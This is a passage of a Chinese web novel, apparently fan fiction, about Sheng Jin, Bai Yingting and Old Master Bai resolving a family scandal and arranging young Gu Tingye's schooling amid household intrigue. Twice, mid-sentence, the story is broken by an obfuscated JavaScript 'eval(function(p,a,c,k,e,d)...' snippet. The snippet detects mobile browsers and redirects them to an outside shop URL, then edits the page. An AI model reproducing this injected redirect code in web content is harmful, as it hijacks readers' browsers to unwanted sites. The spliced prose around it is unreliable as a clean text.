盛瑾眼神中闪过一丝笑意,道:“妹妹你多想了,我哪里劳累了,每天的公务也没有多少,再说了,这府中还有下人照料呢,倒是你才多有劳累呢,不仅要照顾自个亲生的那两个哥儿,还要照顾前头留下来的哥儿,这还没有算上顾偃开的庶女和妾侍,以及府中的事情呢,你才应该多注意休息,有些小事就交给女使小厮去办,不要什么事情都亲力亲为的。” 白滢婷闻言,心里泛起一丝温暖,道:“知道了,哥哥,其实除了府中的事情外也没有多少事情需要我操心,煜儿聪慧懂事,不需要我操多少心,而烟姐儿,她由自己亲生小娘养着也不需要我多费心,至于邱小娘,她是个明白人,从不给我添乱子,哥哥你就放心吧。” 盛瑾见白滢婷这么说也没有多说什么了,过了好一会儿,白滢婷见天色不早了,便起身和盛瑾告辞,盛瑾想着顾廷烨和顾廷炜两个孩子还在顾家内也没有多留白滢婷,便抱着盛长轩送白滢婷上马车离去。 不久后,白老爷也来到了汴州城,他一进汴州城就直奔了丰国公府,此时盛瑾还在宫里,管家一看到白老爷就迎了上去,接着将白老爷带进府中后,便派人去告知盛瑾和白滢婷有关白老爷到汴州城的消息,然后,又让丫鬟将盛长轩抱出来给白老爷看,白老爷一看到盛长轩就稀罕的不行,一个劲的抱着盛长轩亲热。 另一边白滢婷一接到白老爷来汴州城的消息,便立马将手头的事情办完后往丰国公府赶,等她进了丰国公府后,看到白老爷正逗着怀中盛长轩玩,眼中闪过一丝笑意,道:“爹爹,你怎么来汴州城了呢?” 白老爷听到白滢婷的声音朝门口望去,眼中闪过一丝惊讶,道:“婷儿,你怎么这么快就来了呢?顾侯夫人那边知道嘛。”不怪白老爷这么惊讶,毕竟白滢婷是顾家的媳妇,若是要外出的话肯定要问过顾侯夫人的,按照时间来计算,白滢婷不可能这么快到丰国公府的。 白滢婷眼中闪过一丝笑意,轻声细语的为白老爷解惑,道:“现如今婆婆对我可好了,她先前就说过出门这些事情不用请示她,我自己来决定就行了。” 白老爷抱着盛长轩,打量了白滢婷一番,见她气色不错,便知道她过的不错,但他还是开口询问道:“婷儿,近来过得怎么样呢?顾家有没有人欺负呢?” 白滢婷闻言,眼角带着一丝笑意,道:“爹爹,你瞧着我像是过得不好的样子嘛,至于顾家有公公婆婆在,没人敢怠慢我,再说了,我如今是陛下亲封的端淑县主,没人敢当着我的面对我说三道四的。” 白老爷听到白滢婷说到“端淑县主”四个字时,瞳孔微微睁大,道:“什么端淑县主,婷儿,我怎么听不懂你在说什么啊!” 白滢婷这才想起来白老爷并不知道她被封为端淑县主这件事情,随即和白老爷解释起了这件事情,等白老爷听完后,他眼中闪过一丝感动,道:“没想到媳妇居然会为婷儿思虑至此,竟然在弥留之际还想着婷儿你,唉,多好的人啊!可惜她走的早,我就是想要当面表示感谢也没法实现了。” 白滢婷听到白老爷这么说,目光转向了白老爷怀中的盛长轩,心里泛起一阵难过,但是又不想在盛长轩面前流泪,只能道:“嫂嫂对我一直是极好的。” 白老爷顺着白滢婷的目光看向怀中乖巧的盛长轩,眼神中流露出一丝心疼,但也没有再继续这个话题,转而回答起白滢婷先前的问题,告诉她自己此行的目的。 白滢婷听完后,眼中充满了震惊,语气中带着一丝不可思议,道:“这也太胡来了吧,居然为了挣一口气将姑娘送给别人当外室,他莫不是疯了吧,这要是让人知道了,白家其他姑娘的名声还要不要了啊!” 白老爷叹了口气,道:“谁说不是啊!不过一想到他是白家族人,我又觉得没什么可奇怪的了,毕竟他们连霸占孤儿寡母家产的事情都做的出来。” 白老爷深知当年自己被除族时的既得利者肯定有他那几个堂哥的份,毕竟他的祖父有好几个儿子在,若是他们当初愿意出面拉白老爷一把,就没有白老爷被除族这件事情了。 白滢婷对于白老爷和白家族人的往事也知道一点,她知道白老爷不愿多谈白家族人的事情,也没有再继续有关白家族人的话题。 白滢婷沉思了一会儿,道:“爹爹,你说的这个茂昌伯爵府姜家,我倒是没怎么听说过,想来和顾家没有什么亲近的关系,不如我们等哥哥回来后,再和他商议一下。” 白老爷听到白滢婷这么说,也没有过多纠结这件事情,便和白滢婷一起逗着盛长轩玩,等盛瑾回府后,白老爷又将这件事情和盛瑾说了一遍。 盛瑾听完白老爷的话后,脑海中飞速闪过有关茂昌伯爵府姜家的事情,可惜没有多大印象,他直言道:“义父,我对这个茂昌伯爵府姜家没有多少了解,明日我去工部时找人打听打听,想来要不了多久就能知道这姜家的具体情况了。” 白滢婷听到盛瑾的话,附和道:“既然哥哥对茂昌伯爵府的人没什么印象,想来这户人家在朝中没多大的势力,我这边再回去找婆婆问问茂昌伯爵府的情况,然后,让下人去打听打听茂昌伯爵府有没有人去过扬州城,等我们查清楚这姜家的底细后,再一起商议如何找姜家要人,爹爹,你放心,这姜家好歹是勋爵人家,还是要面子的,我们好生与他们说道说道,要个人应该不成问题。” 白老爷听到白滢婷这么说,点了点头,目光转向盛瑾,眼神中闪过一丝歉意,道:“只能这么办了,瑾儿,又要麻烦你了,还有婷儿的县主之位,我真不知道该如何表达自己的谢意了。” 盛瑾脸上带着淡淡的微笑,道:“义父,你无需这般客气,我们是一家人,再说了,婷儿的县主之位是云儿(慕卿云)谋得的,与我关系不大。” 白老爷听到盛瑾的话,沉思了一会儿,感叹道:“瑾儿你和媳妇都是情深义重之人啊!这世上亲与不亲真的不能靠血脉亲情来判断啊!” 白老爷显然是想起了白家族人的事情,思虑至此的他又想起了白家族人的贪婪和胆子,虽然白家族老们向他保证不会来找盛瑾和白滢婷,但他为了保险起见,还是对着盛瑾叮嘱道:“瑾儿,此事解决之后,我和白家族人算是彻底了断了,若是日后白家族人来找你,不必理会他们,你只要牢记一点,我已经被白家族人给逐出族谱了,在礼法,我与白家族人没有任何关系,你只是我一个人的义子,白滢婷的义兄,和白家其他人没有任何关系。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8573712|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛瑾自然知道白老爷为什么会这么叮嘱他,毕竟他先前有幸见过一次白家族人贪婪的样子,于是他没有任何犹豫,道:“我知道了,义父。”接着他们又聊了一会儿后,白滢婷便回顾家去了。 十几日后,白滢婷再次见到盛瑾和白老爷时,她坐下来喝了一口茶水,直接开口道:“爹爹,哥哥,我查到茂昌伯爵府当年去扬州城的人是姜伯爷的一个庶子,不过,这位庶子是被姜伯夫人养大的,又娶了姜伯夫人的外甥女,听我婆婆说姜家原先是打算将他记在姜伯夫人名下的,后来不知怎么了又没将他记在姜伯夫人名下,因此姜伯夫人对他很是疼爱,可不知道为什么近几年姜伯夫人和他关系淡了许多。” 白滢婷说到这里,眼神中闪过一丝不屑,道:“我婆婆之所以对他有印象是因为之前汴州城内传出过姜伯夫人的外甥女善妒名声,我让人打听了一下,说来也是有意思,这姜伯夫人的外甥女和他新婚两年犹如蜜里调油一般,可惜就是没有怀上孩子,按理来说新婚夫妇两三年没有孩子也是正常的,可是不知道为什么汴州城内传出姜伯夫人的外甥女善妒的话语来,姜伯夫人的外甥女无奈给他纳了两个妾侍,好巧不巧的,其中一个妾侍前脚刚纳进门后脚就怀孕了,郎中算了一下日子刚好是纳进门的那几日,就是不知道是进门前怀的还是进门后怀的了,更巧的是这个妾侍曾经是他房中伺候过的一个女使,在他娶妻前几日便被调离了他的身边,至此之后,姜伯夫人对这位庶子冷淡了不少啊!” 白滢婷接着道:“我派人去和姜家的下人详细打听了一下这个庶子,瞧着一表人才,私底下吃喝玩乐比谁都厉害,不过说来也奇怪,姜伯夫人的外甥女还没嫁给他时来过姜家小住了一段时日,那段时间他倒是没有出去吃喝玩乐,而且每日都去找姜伯夫人,后来他更是以一见钟情为由,请求姜伯夫人为他求娶她的外甥女,没过多久两人就定亲了,我猜姜伯夫人之所以会同意这门亲事是因为她这位外甥女父母双亡,嫁入别家怕受人欺负,想着放在自己身边照料最好不过了,谁知道这位庶子死性不改,辜负了她的外甥女。” 盛瑾听到白滢婷的话,眼中闪过一丝笑意,道:“我这些天在朝中打听了一下,茂昌伯爵府姜家没有多少人在朝中任职,倒是姜伯夫人的娘家在朝中有几个得利的,不知道这位姜伯夫人和她的外甥女知不知道这位庶子外室的事情呢?” 白滢婷脸上浮现出一抹冷笑,道:“他自然是不敢让她们知道的,就因为那个妾侍怀孕的事情,姜伯夫人对他冷淡了许多,连带着平日里多给他贴补的月例也少了不少,而姜伯夫人的外甥女虽然面上没有说什么,但心里到底还是有了一丝芥蒂的,给他银钱花销时也是格外谨慎,我也见过我那堂姐姐,说白了不过就是个清秀佳人,他出身勋爵人家什么样的漂亮姑娘没见过啊!为什么偏要娶堂姐姐啊!左右不过是为了堂伯父给的嫁妆吧了,他既想要银钱又不敢和姜伯夫人的外甥女提纳妾的事情,便将人骗来汴州城当继室,真是有够损的啊!估计堂伯父的那单子生意也不是因为他才成的。” 白滢婷说到这里,看向白老爷道:“爹爹,这件事情不难办,我找人去和他谈谈,左右不过银钱的事情,我们只要回姑娘,至于那些嫁妆就当堂伯父买个教训了,他应该不会不同意,毕竟他还要靠他大娘子的娘家和嫡母呢,再者养个外室也要费银钱,估计堂伯父给的那些个嫁妆被他花的没剩多少了吧,若是他真的不肯给人或是要挟我们,那我就去找姜伯夫人要人,看他敢不敢和我们撕破脸皮。” 白老爷听到白滢婷的话,眼神中闪过一丝欣慰,道:“婷儿你长大了,能为爹爹分忧解难了,那么这件事情就交给你了。” 盛瑾看着白老爷,嘴角微微弯起,道:“义父,这件事情过后,你打算怎么办呢?是留在汴州城,还是回扬州城。” 白老爷刚想回答盛瑾要回扬州城时,便见白滢婷双目充满期望的看着自己,到嘴的话又说不出来。 盛瑾见此情况,打起感情牌道:“义父,你也瞧见我这里的情况了,我每天要上朝,轩轩就一个人在府中,虽然有女使小厮照看,但到底比不过自己的亲人照料来的好,而且婷儿也在汴州城,她想你的时候也不便回扬州城去见你,不如你就留在汴州城,即能帮我照看轩轩,又能时常见到婷儿何乐而不为呢,更何况这些天你和轩轩相处十分融洽,轩轩也舍不得你回扬州城啊!” 白老爷听着盛瑾的话,想起了这些天盛长轩一声声的“祖父”,他的心里不由得生出了一丝甜滋滋的感觉,毕竟盛长轩长得好看又乖巧聪慧,对白老爷更是十分亲近,这让白老爷享受到了含饴弄孙的快乐啊! 对此深有感悟的是和白老爷一起来汴州城的白家管家,他明显感觉到白老爷这些日子很开心,毕竟至从白滢婷嫁出去之后,很少再看到白老爷如此开心了,如今盛长轩又给白老爷带来了活力,因此白家管家是最希望白老爷可以一直待在盛府的人了。 盛瑾看出白老爷的动摇,乘胜追击道:“义父,前些天轩轩听说你要回扬州城,还拉着我说祖父是不是不喜欢他了,不想和他在一起才会想要回扬州城的,我都不知道怎么回他。” 白老爷闻言,想起盛长轩委屈的表情,眼中闪过一丝心疼,道:“瑾儿你怎么能不知道如何回他呢?你应该告诉轩轩我是最喜欢他了,怎么能让轩轩伤心呢?” 白老爷说到这里,便想到了之前自己一个人孤零零的在扬州城白家,时常有一种孤家寡人的感觉,心里的天平逐渐倾向盛瑾这边,他沉默了片刻后,脸上带着一抹微笑,道:“那我就在汴州城麻烦瑾儿了,等解决这件事情后,我让人送那个姑娘回去。” 白滢婷和盛瑾闻言,脸上都露出了笑容,他们都希望白老爷留下来,毕竟他们都在汴州城,偌大的白家只剩下白老爷一个人,而且白老爷的岁数也不小了,他们实在是不放心白老爷啊! 次日,白滢婷便派人去找了那位茂昌伯爵府的庶子,正如她所预料的,如今白滢婷的堂姐姐在他眼中算得上是烫手山芋了,毕竟他将白老爷堂哥给的那笔嫁妆花的差不多了,再这样下去,他就只能将人带回府中了,白滢婷此时派人来正好解了他的燃眉之急,于是他迫不及待的将人还给了白滢婷,而白滢婷在接到人那一刻也没有磨蹭什么,直接让白老爷安排的人带着这位姑娘上了回扬州城的船,自此白老爷便在汴州城生活了十几年,这也是后话了。 第 29 章 白老爷在汴州城待了有段时日了,他的日常活动就是带着盛长轩读书玩耍和打理生意,这段日子让他体会到了含饴弄孙的感觉,因此他的心情十分愉悦,再加上盛瑾找人给他调理身子,整个人看上去年轻了不少,当然,他自己也感觉到了身体在慢慢好转,为此他不止一次感叹道:“就算是亲子也做不到和瑾儿这种程度了。” 其实白老爷知道这世上亲与不亲真的很难说,就像他和白家族人明明有着血缘关系,可是白家族人为了霸占他的家产将他赶出村子,不念血脉亲情将他除族,而盛瑾、慕卿云这两个与他及白滢婷没有血缘关系的人,却可以为了他们做到这种程度,人与人真的不一样啊! 白老爷每每想到这里,便会看着身边乖巧聪慧的盛长轩,心里感慨道:“如今这日子才是过日子啊!” 这日白老爷如往常一般,看着盛长轩读书,被盛长轩摇头换脑的模仿着之前在茶楼里看到的读书人读书的样子给逗得哈哈大笑。 此时盛瑾回到府中,他看到这一幕时嘴角微微弯起,显然心情不错,而盛长轩发现盛瑾后,冲向盛瑾的怀抱,满脸笑容,道:“爹爹,你回来了,我正在给祖父模仿上次看到的一个人读书的样子,爹爹好不好玩呢?” 盛瑾摸了摸盛长轩的小鼻子,眼中闪过一丝笑意,语气中带着一丝宠溺,道:“你啊!你,下次不许这样了。” 盛长轩看着盛瑾这么说,神情有些低落,语气中带着一丝委屈,道:“好的,但是爹爹你好久没有陪我读书了啊!我想要爹爹和祖父陪我一起读书。” 盛瑾闻言,一把将盛长轩抱起来,贴了贴盛长轩柔软的脸蛋说:“是爹爹的错,爹爹很快就要忙完了,到时候就能和祖父一起陪着轩轩读书了。” 盛长轩听到盛瑾这么说,脸上的表情多云转晴,语气中带着一丝愉悦,道:“那爹爹可不许骗我哦。” 盛瑾挑了挑眉,眼含笑意,道:“爹爹什么时候骗过轩轩了,更何况有祖父在呢,爹爹怎么可能骗轩轩呢。” 白老爷听到盛瑾拿他来当保证人时,眼神中闪过一丝笑意,附和道:“是啊!轩轩,若是你爹爹骗你,祖父就收拾他给轩轩出气。” 盛长轩听到白老爷的保证,脸上的笑容更灿烂了,显然是相信了盛瑾和白老爷的话,此时盛瑾看向白老爷,道:“义父,最近轩哥儿麻烦您了,让您受累了。” 白老爷看着盛瑾怀中的盛长轩,目光柔和,道:“不累,轩轩乖巧可爱,一点也不累人,我和轩轩一起玩耍很开心。” 盛瑾怀里的盛长轩对着白老爷来了个甜甜的笑容,然后,像是回应白老爷一样,点着头,看起来十分的可爱。 盛瑾和白老爷看到盛长轩这样,在一旁哈哈大笑,盛长轩的脸一下子红透了,从远处看去,三人之间的相处像普通人家一样的温馨。 盛瑾笑了一会儿后,突然想起一件事,对着白老爷道:“义父,我给轩轩找了个夫子,我打算让夫子早上给轩轩启蒙,晚上我再带着轩轩学一遍,你派人问问婷儿要不要让烨儿来丰国公府一起学呢?正好烨儿和轩轩岁数相差不大,可以一起启蒙。” 白老爷闻言,自然知道这对于顾廷烨来说是一件好事,而且他也能借此与外孙时常见面,他的心里十分心动,不过还是要尤白滢婷来决定,于是他回道:“瑾儿你有心了,明天我便让人去问一问婷儿。” 次日,白老爷便派人去给白滢婷送信了,等白滢婷听完这件事情后,沉思了许久,接着让丫鬟去将顾廷烨抱来,她将顾廷烨抱在怀里,轻声细语道:“烨儿喜欢舅舅、轩轩、外祖父吗?” 顾廷烨听着白滢婷的话,满脸天真的表情,手舞足蹈,声音软软,道:“娘,我喜欢舅舅、轩轩、外祖父,轩轩会陪我玩,舅舅和外祖父会抱着我,温柔的听着我说话。” 顾廷烨说到这里,原本高安的情绪有些低落,语气中带着一丝委屈,道:“这些父亲很少对我做过,而且父亲常常去看大哥哥,却很少来看我。” 白滢婷眼中闪过一丝心疼,轻声解释道:“烨儿有母亲、弟弟,大哥哥只有你父亲一个人,再加上大哥哥身子弱,不能像烨儿一样外出游玩或是去舅舅家里,你父亲难免多操心大哥哥的身子些,烨儿也要体谅一下你父亲和大哥哥好嘛。” 顾廷烨歪着头,眼中充满了疑惑,道:“为什么哥哥只有父亲,他不是还有我和母亲、弟弟嘛。” 白滢婷不好直接告诉顾廷烨他与顾廷煜是同父异母的兄弟,便只好打马虎眼道:“以后烨儿就知道了,等长大了,你就知道了。” 白滢婷接着将话题转移顾廷烨读书这件事情上,她语气轻柔道:“烨儿想不想常常去找舅舅、轩轩、外祖父呢?若是想的话,母亲便送你去舅舅家读书,可好嘛?” 顾廷烨显然不知道白滢婷的潜在意思,他想着能常常见到盛瑾、盛长轩、白老爷,便开心的点头道:“好,我想去舅舅家读书。” 白滢婷闻言,面带微笑的亲了亲顾廷烨,接着便将他和顾廷炜放在一起,随即他的注意力也被顾廷炜吸引过去了,也不想刚刚问白滢婷的问题了。 白滢婷看着顾廷烨和顾廷炜,心里对顾偃开充满了愤怒与无奈,她不明白顾偃开是怎么想的,同样是他的儿子,他如此区别对待就不怕两个孩子反目成仇吗? 白滢婷心里默默气了好一会儿后,只能寄希望于将顾廷烨送到盛瑾身边,让顾廷烨在顾家待的时间不长,这样顾廷烨的感受就没有那么强烈了,毕竟白滢婷已经对顾偃开不报任何希望了,她只希望自己的孩子能健康成长。 第二天,白滢婷便找到顾偃开商量起将顾廷烨去盛瑾那里读书的事情,顾偃开听完后,眉头微微皱起,道:“府中不是有夫子在嘛,为什么要将烨儿送去丰国公府读书呢?再说了烨儿还小,再过个两三年启蒙也不晚。” 白滢婷听到顾偃开的话,脸上的表情没有丝毫变化,道:“府中的夫子本是给煜儿请的,如今将烨儿加进去,我怕影响煜儿的日常学习,而且轩儿和烨儿同岁,若是他们一起启蒙也有个伴,再者,丰国公府和宁远侯府都在汴州城内,烨儿早晨去丰国公府,晚上便能回来,路上有府中家丁护着没什么问题。” 白滢婷说到这里,顿了顿,道:“烨儿在丰国公府启蒙还有一个好处是我哥哥可以抽空给他辅导功课、讲解诗书礼经,我哥哥好歹也是三元及第的状元郎,教导烨儿读书自然不成问题,如今正是太平盛世,武将用武之地甚少,烨儿未来还是要科举出仕,我哥哥与众多大儒交际甚好,又在读书人中有着无双公子的美称,若是烨儿在他身边读书长大,于烨儿未来的仕途也是有好处的。” 顾偃开虽是个武将,但关于朝中的一些事情他还是了解,他不可否认白滢婷说的事情是事实,他心里对盛瑾的那点芥蒂远不如顾廷烨的前程更重要。 顾偃开心里无比清楚,如今他膝下三子一女,长子顾廷煜体弱多病,让顾廷煜参加科考无疑是让他拿命去搏前程,而小儿子顾廷炜由于早产导致身子骨比寻常孩子弱一些,虽然郎中说细细养着与常人无异,但身子骨的事情谁能说的清楚啊!长子和幼子的身子,让他不能过多的对他们苛求什么,但顾廷烨是个身子骨健壮的孩子,他对顾廷烨还是抱有望子成龙的想法的。 顾偃开沉默了片刻后,对着白滢婷道:“那就麻烦大娘子替我去谢谢盛国公了。”言外之意是他同意顾廷烨去丰国公府读书的事情了。 顾偃开这个当父亲的同意后,顾廷烨去丰国公府读书的事情基本上就敲定了,但白滢婷还是将这件事情跟顾侯夫妇说了一下,顾侯夫妇自无不可,毕竟白滢婷和顾偃开都能想到这件事情的好处,他们不可能想不到。 无论是顾侯爷还是顾侯夫人,他们都感觉自己的身子越来越虚弱了,而顾家如今全靠着顾偃开一人撑着,顾家小辈里面现下也没看出谁有出息,虽说顾廷煊考中了秀才,可科举的事情谁说的准呢?毕竟顾偃开的弟弟(顾家五老爷)当年考中了举人,现下不还是个举人嘛,还因为读过书,死活不愿意接受荫封,去当个□□品的小官,索性他不愿意这个名额省下来给顾廷煊也好。 (这里私设:每任皇帝只能给一个勋爵人家荫封一到三个官职) 顾侯夫妇想的是顾廷烨若在盛瑾身边长大,盛瑾怎么样都不可能让顾廷烨没出息的,就算是顾廷烨烂泥扶不上墙,盛瑾也会照拂他的,再加上他和下一任盛国公盛长轩从小到大的情谊,盛顾两家的关系会更牢固,就此顾廷烨就在丰国公府扎根了。 时间转瞬即逝,一转眼盛长轩和顾廷烨如今也七岁了,顾候夫妇已经相继离世了,如今当家的是顾偃开和白滢婷,正如顾侯夫妇所想的一样,因为顾廷烨每天上午下午在丰国公府,晚上才回宁远侯府休息,所以顾廷烨和盛长轩几乎是从小一起长大的,因此他们之间的关系特别好。 由于顾廷烨大部分时间都待在丰国公府,他和顾家四房五房的人极少见面,当然,不仅是顾家四房五房的人,就连他的亲生父亲顾偃开除了晚上练武时也是极少见面,更别说是平日里不怎么出院子的顾廷煜了,因此他在顾家除了和顾廷炜、白滢婷关系亲密外,与其他人的关系都是平平淡淡的,现在的他也没多在意顾偃开偏疼顾廷煜的行为,毕竟他有着一个跟父亲一样的舅舅,盛瑾对他和盛长轩都是一视同仁的,他在盛瑾身边也感受到了疼爱,也就对顾偃开的行为没有多大感觉了,不过近日却有人在他耳边说起了顾偃开偏心顾廷煜的事情。 顾廷烨此时正在丰国公府一边读书,一边想着这件事情,他想着想着又看向一旁的盛长轩,不由自主的放下书本,对着盛长轩发呆。 顾廷烨和盛长轩都是十分聪慧之人,平日里夫子一点,他们二人马上就能领会书本意思,并且举一反三,而且他们二人相处之久,盛长轩自然而然就察觉到了顾廷烨的异常,他看着顾廷烨一脸面无表情,道:“你又怎么了嘛?” 顾廷烨并不是很想让盛瑾知道这件事情,随即一脸嬉笑的打着马虎眼,道:“你好看,我多看一眼,缓解疲劳。” 盛长轩翻了翻白眼,语气中带着一丝无奈,道:“你当我三岁小孩吗?我们两人一起读书有几年了,你什么样我不知道,不过,我倒是好奇什么事情能让你思考这么久,说出来让我听听。” 顾廷烨见盛长轩这样,起了逗弄盛长轩的心思,他一下子冲到盛长轩面前,故意扭扭捏捏的道:“哎呀,轩轩,你怎么能这么想人家呢,我们已经在一起两年了,我是什么样的人,你还不知道嘛,有什么可好奇的呀。”说着还对盛长轩放媚眼。 盛长轩看了一眼顾廷烨,只觉得辣眼睛,强忍着想把这丢人的东西扔出去的心情,语气中带着一丝冰冷,道:“有话好好说,若是让夫子看到你这不正经的样子,恐怕你今天的功课要翻倍了,再者,反正你想了这么久都没想清楚,不如说出来,没准我还能给你建议呢。” 顾廷烨见盛长轩发怒了,一下子正经起来,道:“我哪里不正经了吗?也没什么事情,就是有人在我耳边说一些父亲偏疼我大哥哥和父亲母亲是因为我大哥哥关系才不好之类的话。” 盛长轩白了顾廷烨一眼,道:“这话你也信,姑姑怎么对你大哥哥的,你是最清楚不过了,若是姑姑姑父因为你大哥哥关系才不好的,你觉得我父亲还会让姑姑带着你大哥哥上门拜年嘛,这种胡言乱语也值得你思考这么久,我瞧着是夫子给你的功课太少了,才让你有时间去胡思乱想,你若真想知道原因直接去问姑姑不就成了嘛。” 顾廷烨皱了皱眉头,语气中带着一丝无奈,道:“我这不是不敢问吗?再说了,我也是最近才听人说起这些事情的。” 盛长轩闻言,立马反应过来,脸上的表情变得严肃起来,道:“顾廷烨,为什么近日才有人在你耳边平白无故的说这些话呢?你最好告诉姑姑,别钻了人家的套子,你家的事都不好说的。” 顾廷烨听到盛长轩的话,眼神中闪过一丝谨慎,但他还是顶了盛长轩一句,道:“我知道,舅舅常常给我们讲各种故事,我才不会上当呢。” 别看顾廷烨和盛长轩只是个小孩,但是他们被盛瑾样的十分精明,如果真拿他们当小孩子对付,到时候吃亏的是谁还不一定呢。 等顾廷烨回到宁远侯府后,直接将这件事情告诉白滢婷,他没有询问白滢婷和顾偃开的关系为什么如此平淡,因为他敏锐的感觉到白滢婷不想和他聊这些事情。 白滢婷听完顾廷烨的话后,心里勃然大怒,她没想到有人居然在她的眼皮子底下算计她的孩子,过了好一会儿,她冷静下来时想道:“如果有人在烨儿身边说三道四,那会不会也有人在煜儿身边说三道四呢?” 白滢婷越想越觉得有可能,但是顾廷煜从未告诉过她这些事情,所以她也不好去问顾廷煜,因此她派人调查起了顾廷煜院子和她这个院子的丫鬟小厮。 等白滢婷调查清楚后,直接派人到顾廷煜的院子将与此事相关的丫鬟小厮带走,并让常嬷嬷向顾廷煜表示歉意,于是顾廷煜对于院外丫鬟小厮的哭喊求救声充耳不闻,毕竟他已经知道他的这几个丫鬟小厮干了什么事情。 顾廷煜从小就十分聪慧,此时的他已经明白了为什么当年会有人在他耳边说一些不利于白滢婷和顾廷烨的话,索性的是当时的他因为对白滢婷愧疚而没有再听信那些话,不过也正因为顾廷煜没有听信这些话,所以白滢婷才会到此时发觉此事并抓人。 顾廷煜等院子中变得安静下来才看向窗外,如今他也已经十二岁了,对于白滢婷和顾偃开之间相敬如冰的关系比顾廷烨了解的更多一些,他原先有些不懂白滢婷为什么要将顾廷烨送到丰国公府读书,现下联系起白滢婷抓人的事情也能猜出一二了,他在心里默默的感叹道:“顾家是非太多了,不是个读书的好地方,还是盛家清净啊!” 顾廷煜想到这里,便不由自主的想起了顾廷烨,就算白滢婷对他很好,但他心里还是十分羡慕顾廷烨的,不仅仅是因为顾廷烨有一副健康的身体,还有一个爱他的母亲、一个好的能穿一条裤子的表弟、一个对他如亲子的舅舅、一个疼爱他的外祖父以及一个同胞兄弟,尽管盛瑾和白老爷每次都会给他和顾廷烨一样的待遇,但他能感觉的出他们对他没有多少情感。 顾廷煜在心里自嘲道:“我自己的外家东昌伯爵府都没多少人在乎过我,又为什么要奢求同父异母弟弟的外家待我如亲人呢。” 顾廷煜不知道为什么脑海中闪过盛瑾和慕卿云的样子,他还记得第一次见的盛瑾和慕卿云时,便觉得他们长得十分好看,若是让现在的他来形容陌上公子世无双与沉鱼落雁的组合,他还记得他们第一次见面时慕卿云和盛瑾对他也表示出了亲近,只是一切都停留在了白滢婷难产、慕卿云去世之前。 顾廷煜有时会想若是没有这些事情的发生,或许他们之间的关系会不一样吧,他永远也忘不了自己在丰国公府看到的一幕,盛瑾看着两个孩子时那温柔又严肃的神情,为他们擦着嘴角残留的食物残渣,将他们抱在怀里玩闹,那是他父亲顾偃开从来没有对他做过的事情,毕竟他在顾偃开眼中犹如瓷娃娃一样脆弱,摸不得碰不得。 顾廷煜此时想起了丫鬟小厮常说的话,盛瑾如何如何的厉害,顾廷烨根本不用考虑太多,只要顾廷烨科举出仕,那些受过盛瑾恩惠的人不说给顾廷烨多大的帮助,但照拂一下顾廷烨的仕途还是可以的。 顾廷煜心里泛起了一丝羡慕和无奈,不由自主的想道:“科举出仕,多好的事情啊!唉,我想这些做什么呢,反正以我这身子骨也不能参加科考,想再多也是自讨烦恼罢了。” 此时门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|8576151|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传来了急促的脚步声,顾廷煜知道他的父亲来了,顾偃开大步走进门,看着顾廷煜的眼神中流露出关心,道:“煜儿,我听说你母亲派人来你院里抓人,你没被吓着吧,你母亲也真是的,没事跑你院子里抓什么人啊!” 顾廷煜看着眼前关心他的顾偃开,他知道他的父亲很爱他,但他的父亲是一名武将,有时候并不会很细心,显然有人利用顾偃开对他的爱来当挡箭牌了。 顾廷煜心里不由得想道:“我已经很好了,不是吗?我得到了父亲大部分的爱了,不过,想要让父亲当挡箭牌,没门。” 顾廷煜看着顾偃开,语气中带着一丝无奈,道:“父亲,母亲不会无缘无故抓人的,她来之前已经让人和我说过了,再说,这次不止抓了我院子的人,还有其他的女使小厮也被抓了,听说是有人在二弟弟耳边挑拨母亲、父亲、我的关系,母亲重视也是应该的,毕竟二弟弟年纪尚幼,若是不小心听信谗言远了我们可就不好了。” 顾偃开闻言,皱了皱眉头,道:“这府中的女使丫鬟是平日里没事干嘛,居然敢议论主人家的事情,等会儿我去问问你母亲到底是怎么回事。” 顾廷煜听到顾偃开这么说,也知道点到为止,随即便转移话题和顾偃开聊起了其他的事情,过了好一会儿,顾偃开嘱咐顾廷煜照顾好自己后,转身去找白滢婷了。 此时白滢婷正在自己院中将茶盏摔碎,语气中充满了怒火,道:“她是不是疯了啊!挑拨烨儿与煜儿的关系于她有什么好处啊!我与她素日无冤无仇的,她居然把手伸向我的孩子,若不是烨儿告诉我,我还不知道她早在几年前就在煜儿那里挑拨了一次。” 常嬷嬷听着白滢婷的话,脑海中闪过白滢婷与五房太太的过往后,提醒道:“姑娘,五房那位大娘子可不是什么大气之人啊!盛国公夫人去世没多久时,那位大娘子和你提过一门亲事,你正值伤心之时可是将她骂了个狗血淋头啊!而且前不久她不是还和你提了一句想将炀哥儿送进锦江书院的事情,你当时拒绝了她,她莫不是因为这两件事记恨着姑娘。” 白滢婷听了常嬷嬷的提醒才想起这些事情,眉头皱了皱,语气中带着一丝恼怒,道:“为了先前我骂她和炀哥儿读书这两件事情,就对烨儿和煜儿下手,她也太小肚鸡肠了吧,先前骂她是因为嫂嫂刚过世没多久,她就把算盘打到我哥哥身上,这件事情我不会认错的,至于炀哥儿进锦江书院的事情,她一开口就让我将炀哥儿直接送进锦江书院,那锦江书院又不是我和我哥哥开的,不是我想塞什么人进书院就能塞什么人进书院的,当初煊哥儿都是去锦江书院的蒙馆自己考进的,如今炀哥儿都多大了,哪能去得了锦江书院的蒙馆啊!” 